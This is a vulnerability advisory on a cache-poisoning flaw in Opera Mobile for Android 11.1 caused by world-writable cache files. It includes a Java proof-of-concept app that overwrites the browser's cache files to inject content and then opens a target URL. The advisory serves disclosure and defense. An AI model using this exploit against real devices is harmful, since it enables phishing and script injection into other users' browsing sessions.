<--

Opera Mobile for Android Cache Poisoning XAS

Aleph Research Advisory

Identifier

Severity

High

Product

Opera Mobile for Android

Vulnerable Version

Version 11.1

Mitigation

Install version version 11.1 update 2 or later

Technical Details

The Opera Mobile cache files (metadata and data) have insecure file permissions:

  • The cache metadata file (dcache4.url) is globally readable and writable as explained in the paper.
  • The cache data itself are globally readable and writable as explained in the paper.

Hence a 3rd party application with no permissions may access Opera Mobile’s cache, thus break Android’s sandboxing model:

  • It may read the cache. 3rd party parsers are publicly available1.
  • It may alter the cache with arbitrary data or code, in order to conduct phishing attacks, or execute JavaScript code in the context of an arbitrary domain.

Proof-of-Concept

See paper for how to generate the injected cache entry.

public class CachePoisoningActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        dumpToFilesystem("dcache4.url",
                         "/data/data/com.opera.browser/cache/dcache4.url");
                         
        dumpToFilesystem("poisonedfile",
                         "/data/data/com.opera.browser/cache/g_0000/poisonedfile");
                         
        Intent i = new Intent();
        i.setClassName("com.opera.browser", "com.opera.Opera");
        i.setData(Uri.parse("http://target/"));
        startActivity(i);
    }
    private void dumpToFilesystem(String assetName, String dstPath)
    {
        try {
            InputStream input = getAssets().open(assetName);
            FileOutputStream output = new FileOutputStream(dstPath);
            byte[] buffer = new byte[1024];
            int len = -1;
            while (-1 != (len = input.read(buffer)))
            output.write(buffer, 0, len);
            output.close();
            input.close();
        } catch (IOException e) {}
     
        File f = new File(dstPath);
        f.setReadable(true, false);
        f.setWritable(true, false);
    }
}

Timeline

Credit

External References